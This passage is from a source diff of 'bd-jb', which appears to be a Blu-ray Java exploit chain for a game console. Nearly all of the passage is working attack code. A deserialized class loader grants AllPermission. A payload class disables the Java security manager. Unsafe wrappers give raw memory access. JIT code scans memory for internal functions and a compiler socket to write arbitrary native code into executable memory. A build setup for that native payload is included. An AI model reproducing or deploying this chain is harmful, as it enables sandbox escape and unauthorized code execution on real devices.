};
private static final String SCE_KERNEL_GET_MODULE_INFO_SYMBOL = "sceKernelGetModuleInfo";
private static final String WRITE_SYMBOL = "write";
private static final String READ_SYMBOL = "read";
private static JIT instance;
private final API api;
private long sceKernelGetModuleInfo;
private long read;
private long write;
private long BufferBlob__create;
private int compilerAgentSocket;
private JIT() throws Exception {
this.api = API.getInstance();
this.init();
}
static synchronized JIT getInstance() throws Exception {
if (instance == null) {
instance = new JIT();
}
return instance;
}
private void init() {
sceKernelGetModuleInfo =
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL);
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL);
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL);
if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) {
throw new IllegalStateException("Symbols could not be found.");
}
long modinfo = api.malloc(SCE_KERNEL_MODULE_INFO_SIZE);
api.memset(modinfo, 0, SCE_KERNEL_MODULE_INFO_SIZE);
api.write64(modinfo + 0x00, SCE_KERNEL_MODULE_INFO_SIZE);
if (api.call(sceKernelGetModuleInfo, BDJ_MODULE_HANDLE, modinfo) != 0) {
throw new IllegalStateException("sceKernelGetModuleInfo failed.");
}
long bdjBase = api.read64(modinfo + 0x108);
long bdjSize = api.read32(modinfo + 0x110);
api.free(modinfo);
int i = 0;
while (i < bdjSize
&& api.memcmp(bdjBase + i, BUFFER_BLOB_CREATE_SEQ, BUFFER_BLOB_CREATE_SEQ.length) != 0) {
i++;
}
if (i == bdjSize) {
throw new IllegalStateException("BufferBlob::create function could not be found.");
}
BufferBlob__create = bdjBase + i - 0x21;
i = 0;
while (i < bdjSize
&& api.memcmp(
bdjBase + i,
COMPILER_AGENT_SENDER_THREAD_SEQ,
COMPILER_AGENT_SENDER_THREAD_SEQ.length)
!= 0) {
i++;
}
if (i == bdjSize) {
throw new IllegalStateException("Compiler agent socket could not be found.");
}
long compilerAgentSocketOpcode = bdjBase + i - 0x10;
compilerAgentSocket =
api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7);
}
long mapPayload(String path) throws Exception {
RandomAccessFile file = new RandomAccessFile(path, "r");
// TODO: Currently we just use maximum size so that the address is predictable.
long size = MAX_JIT_SIZE;
// long size = file.length() + 0x88 + ALIGNMENT - 1;
// if (size >= MAX_JIT_SIZE) {
// throw new IllegalArgumentException("Payload is too big.");
// }
long name = api.malloc(4);
api.strcpy(name, "jit");
long blob = api.call(BufferBlob__create, name, size);
long code = blob + api.read32(blob + 0x20);
api.free(name);
long address = (code + ALIGNMENT - 1) & ~(ALIGNMENT - 1);
long request = api.malloc(COMPILER_AGENT_REQUEST_SIZE);
long response = api.malloc(API.INT8_SIZE);
for (long i = 0; i < file.length(); i += CHUNK_SIZE) {
byte[] chunk = new byte[CHUNK_SIZE];
file.seek(i);
file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE));
api.memset(request, 0, COMPILER_AGENT_REQUEST_SIZE);
api.memcpy(request + 0x00, chunk, CHUNK_SIZE);
api.write64(request + 0x38, address + i - 0x28);
api.call(write, compilerAgentSocket, request, COMPILER_AGENT_REQUEST_SIZE);
api.write8(response, (byte) 0);
api.call(read, compilerAgentSocket, response, API.INT8_SIZE);
if (api.read8(response) != ACK_MAGIC_NUMBER) {
throw new IllegalStateException("Wrong compiler response.");
}
}
api.free(response);
api.free(request);
return address;
}
}

24
com/bdjb/Payload.java Normal file
View File

@ -0,0 +1,24 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.security.AccessController;
import java.security.PrivilegedActionException;
import java.security.PrivilegedExceptionAction;
/** Payload class that is loaded with all permissions in order to disable the security manager. */
public class Payload implements PrivilegedExceptionAction {
public Payload() throws PrivilegedActionException {
AccessController.doPrivileged(this);
}
public Object run() throws Exception {
System.setSecurityManager(null);
return null;
}
}

View File

@ -0,0 +1,58 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.Serializable;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.InputStream;
import java.security.ProtectionDomain;
import java.security.Permissions;
import java.security.AllPermission;
/** ClassLoader subclass that is instantiated on deserialization. */
class PayloadClassLoader extends ClassLoader implements Serializable {
private static final long serialVersionUID = 0x4141414141414141L;
private static final String PAYLOAD_CLASS_FILE = "/com/bdjb/Payload.class";
private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload";
private static PayloadClassLoader instance;
static PayloadClassLoader getInstance() {
return instance;
}
private void readObject(ObjectInputStream stream) {
instance = this;
}
void newPayload() throws Exception {
InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_FILE);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] buf = new byte[8192];
int read;
while ((read = inputStream.read(buf)) > 0) {
outputStream.write(buf, 0, read);
}
inputStream.close();
byte[] payload = outputStream.toByteArray();
// Instantiate the payload class with all permissions to disable the security manager.
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(null, permissions);
Class payloadClass =
defineClass(PAYLOAD_CLASS_NAME, payload, 0, payload.length, protectionDomain);
payloadClass.newInstance();
}
}

View File

@ -0,0 +1,27 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
/** Simple util to create a serialized object of the PayloadClassLoader class. */
class PayloadClassLoaderSerializer {
public static void main(String[] args) {
try {
ObjectOutputStream objectOutputStream =
new ObjectOutputStream(new FileOutputStream("com/bdjb/PayloadClassLoader.ser"));
objectOutputStream.writeObject(new PayloadClassLoader());
objectOutputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

View File

@ -0,0 +1,65 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import com.oracle.ProviderAccessor;
import com.oracle.ProviderAdapter;
import com.oracle.security.Service;
import java.util.Arrays;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
import java.security.Provider;
import java.security.Security;
/** ProviderAccessor implementation that allows arbitrary services to be added. */
class ProviderAccessorImpl implements ProviderAccessor {
private final HashMap providerServices = new HashMap();
ProviderAccessorImpl(Provider[] providers) {
this.copyProviderServices(providers);
}
private void copyProviderServices(Provider[] providers) {
for (int i = 0; i < providers.length; i++) {
providerServices.put(providers[i], new HashSet(ProviderAdapter.getServices(providers[i])));
}
}
void setProviderAccessor() {
ProviderAdapter.setProviderAccessor(this);
}
public Service getService(Provider provider, String type, String algorithm) {
Set services = getServices(provider);
if (services != null) {
Iterator iterator = services.iterator();
while (iterator.hasNext()) {
Service service = (Service) iterator.next();
if (service.getType().equals(type)
&& (service.getAlgorithm().equals(algorithm)
|| service.getAliases().contains(algorithm))) {
return service;
}
}
}
return null;
}
public Set getServices(Provider provider) {
return (Set) providerServices.get(provider);
}
public void putService(Provider provider, Object service) {
Set services = getServices(provider);
if (services != null) {
services.add(service);
}
}
}

45
com/bdjb/Screen.java Normal file
View File

@ -0,0 +1,45 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.awt.Color;
import java.awt.Container;
import java.awt.Font;
import java.awt.Graphics;
import java.util.ArrayList;
class Screen extends Container {
private static final Font FONT = new Font(null, Font.PLAIN, 36);
private static final ArrayList messages = new ArrayList();
private static final Screen instance = new Screen();
static Screen getInstance() {
return instance;
}
static void println(String msg) {
messages.add(msg);
instance.repaint();
}
public void paint(Graphics g) {
g.setFont(FONT);
g.setColor(Color.WHITE);
int x = 100;
int y = 100;
int height = g.getFontMetrics().getHeight();
for (int i = 0; i < messages.size(); i++) {
String msg = (String) messages.get(i);
g.drawString(msg, x, y);
y += height;
}
}
}

30
com/bdjb/ServiceImpl.java Normal file
View File

@ -0,0 +1,30 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import com.oracle.security.Service;
import java.util.List;
import java.util.Map;
import java.security.Provider;
/** Service subclass implementing ServiceInterface in order to be accessible with IxcProxyImpl. */
class ServiceImpl extends Service implements ServiceInterface {
ServiceImpl(Provider provider) {
super(provider);
}
ServiceImpl(
Provider provider,
String type,
String algorithm,
String className,
List aliases,
Map attributes) {
super(provider, type, algorithm, className, aliases, attributes);
}
}

View File

@ -0,0 +1,18 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.security.NoSuchAlgorithmException;
/** Service interface with methods of interest throwing RemoteException. */
interface ServiceInterface extends Remote {
public Object newInstance(Object constructorParameter)
throws RemoteException, NoSuchAlgorithmException;
}

View File

@ -0,0 +1,40 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.lang.reflect.Field;
interface UnsafeInterface {
public byte getByte(long address);
public short getShort(long address);
public int getInt(long address);
public long getLong(long address);
public long getLong(Object o, long offset);
public void putByte(long address, byte x);
public void putShort(long address, short x);
public void putInt(long address, int x);
public void putLong(long address, long x);
public void putObject(Object o, long offset, Object x);
public long objectFieldOffset(Field f);
public long allocateMemory(long bytes);
public long reallocateMemory(long address, long bytes);
public void freeMemory(long address);
}

105
com/bdjb/UnsafeJdkImpl.java Normal file
View File

@ -0,0 +1,105 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import jdk.internal.misc.Unsafe;
class UnsafeJdkImpl implements UnsafeInterface {
private static final String GET_MODULE_METHOD_NAME = "getModule";
private static final String MODULE_CLASS_NAME = "java.lang.Module";
private static final String IMPL_ADD_OPENS_TO_ALL_UNNAMED_METHOD_NAME =
"implAddOpensToAllUnnamed";
private static final String UNSAFE_CLASS_NAME = "jdk.internal.misc.Unsafe";
private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe";
private final Unsafe unsafe;
UnsafeJdkImpl() throws Exception {
// Throw exception if class does not exist.
Class.forName(UNSAFE_CLASS_NAME);
// Get unsafe module.
Method getModuleMethod = Class.class.getDeclaredMethod(GET_MODULE_METHOD_NAME, null);
getModuleMethod.setAccessible(true);
Object unsafeModule = getModuleMethod.invoke(Unsafe.class, null);
// Open unsafe package.
Method implAddOpensToAllUnnamedMethod =
Class.forName(MODULE_CLASS_NAME)
.getDeclaredMethod(
IMPL_ADD_OPENS_TO_ALL_UNNAMED_METHOD_NAME, new Class[] {String.class});
implAddOpensToAllUnnamedMethod.setAccessible(true);
implAddOpensToAllUnnamedMethod.invoke(
unsafeModule, new Object[] {Unsafe.class.getPackage().getName()});
// Get unsafe instance.
Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME);
theUnsafeField.setAccessible(true);
unsafe = (Unsafe) theUnsafeField.get(null);
}
public byte getByte(long address) {
return unsafe.getByte(address);
}
public short getShort(long address) {
return unsafe.getShort(address);
}
public int getInt(long address) {
return unsafe.getInt(address);
}
public long getLong(long address) {
return unsafe.getLong(address);
}
public long getLong(Object o, long offset) {
return unsafe.getLong(o, offset);
}
public void putByte(long address, byte x) {
unsafe.putByte(address, x);
}
public void putShort(long address, short x) {
unsafe.putShort(address, x);
}
public void putInt(long address, int x) {
unsafe.putInt(address, x);
}
public void putLong(long address, long x) {
unsafe.putLong(address, x);
}
public void putObject(Object o, long offset, Object x) {
unsafe.putObject(o, offset, x);
}
public long objectFieldOffset(Field f) {
return unsafe.objectFieldOffset(f);
}
public long allocateMemory(long bytes) {
return unsafe.allocateMemory(bytes);
}
public long reallocateMemory(long address, long bytes) {
return unsafe.reallocateMemory(address, bytes);
}
public void freeMemory(long address) {
unsafe.freeMemory(address);
}
}

View File

@ -0,0 +1,84 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.lang.reflect.Field;
import sun.misc.Unsafe;
class UnsafeSunImpl implements UnsafeInterface {
private static final String UNSAFE_CLASS_NAME = "sun.misc.Unsafe";
private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe";
private final Unsafe unsafe;
UnsafeSunImpl() throws Exception {
// Throw exception if class does not exist.
Class.forName(UNSAFE_CLASS_NAME);
// Get unsafe instance.
Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME);
theUnsafeField.setAccessible(true);
unsafe = (Unsafe) theUnsafeField.get(null);
}
public byte getByte(long address) {
return unsafe.getByte(address);
}
public short getShort(long address) {
return unsafe.getShort(address);
}
public int getInt(long address) {
return unsafe.getInt(address);
}
public long getLong(long address) {
return unsafe.getLong(address);
}
public long getLong(Object o, long offset) {
return unsafe.getLong(o, offset);
}
public void putByte(long address, byte x) {
unsafe.putByte(address, x);
}
public void putShort(long address, short x) {
unsafe.putShort(address, x);
}
public void putInt(long address, int x) {
unsafe.putInt(address, x);
}
public void putLong(long address, long x) {
unsafe.putLong(address, x);
}
public void putObject(Object o, long offset, Object x) {
unsafe.putObject(o, offset, x);
}
public long objectFieldOffset(Field f) {
return unsafe.objectFieldOffset(f);
}
public long allocateMemory(long bytes) {
return unsafe.allocateMemory(bytes);
}
public long reallocateMemory(long address, long bytes) {
return unsafe.reallocateMemory(address, bytes);
}
public void freeMemory(long address) {
unsafe.freeMemory(address);
}
}

View File

@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8"?>
<n:permissionrequestfile xmlns:n="urn:BDA:bdmv;PRF" orgid="0x56789abc" appid="0x4000">
<applifecyclecontrol value="true"></applifecyclecontrol>
<bd-bindingunitarea value="true"></bd-bindingunitarea>
<bd-vfs value="true"></bd-vfs>
<file value="true"></file>
<network>
<host action="accept,connect,listen,resolve">*</host>
</network>
<servicesel value="true"></servicesel>
<userpreferences read="true" write="true"></userpreferences>
</n:permissionrequestfile>

BIN
disc/BDMV/META/DL/bdjb.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

View File

@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<disclib xmlns="urn:BDA:bdmv;disclib">
<di:discinfo xmlns:di="urn:BDA:bdmv;discinfo">
<di:title>
<di:name>bd-jb</di:name>
<di:numSets>1</di:numSets>
<di:setNumber>1</di:setNumber>
</di:title>
<di:description>
<di:tableOfContents>
<di:titleName titleNumber="1">bd-jb</di:titleName>
</di:tableOfContents>
<di:thumbnail href="bdjb.jpg"/>
</di:description>
<di:language>eng</di:language>
</di:discinfo>
</disclib>

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,49 @@
package jdk.internal.misc;
import java.lang.reflect.Field;
public class Unsafe {
public byte getByte(long address) {
return 42;
}
public short getShort(long address) {
return 42;
}
public int getInt(long address) {
return 42;
}
public long getLong(long address) {
return 42;
}
public long getLong(Object o, long offset) {
return 42;
}
public void putByte(long address, byte x) {}
public void putShort(long address, short x) {}
public void putInt(long address, int x) {}
public void putLong(long address, long x) {}
public void putObject(Object o, long offset, Object x) {}
public long objectFieldOffset(Field f) {
return 42;
}
public long allocateMemory(long bytes) {
return 42;
}
public long reallocateMemory(long address, long bytes) {
return 42;
}
public void freeMemory(long address) {}
}

BIN
keystore.store Normal file

Binary file not shown.

19
payload/Makefile Normal file
View File

@ -0,0 +1,19 @@
TARGET = payload
OBJS = start.o payload.o
CC = gcc
AS = as
OBJCOPY = objcopy
CFLAGS = -Os -fno-stack-protector -fpic -fpie
LDFLAGS = -T linker.x -nostdlib -nostartfiles
all: $(TARGET).bin
%.bin: %.elf
$(OBJCOPY) -S -O binary $^ $@
$(TARGET).elf: $(OBJS)
$(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS)
clean:
@rm -f $(TARGET).bin $(TARGET).elf $(OBJS)

9
payload/linker.x Normal file
View File

@ -0,0 +1,9 @@
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SECTIONS
{
. = 0x916300000;
}

7
payload/payload.c Normal file
View File

@ -0,0 +1,7 @@
#include <stddef.h>
#include <stdint.h>
#include <sys/types.h>
int payload(int (* sceKernelDlsym)(int handle, const char *symbol, uintptr_t *address)) {
return 1337;
}

2
payload/start.S Normal file
View File

@ -0,0 +1,2 @@
_start:
jmp payload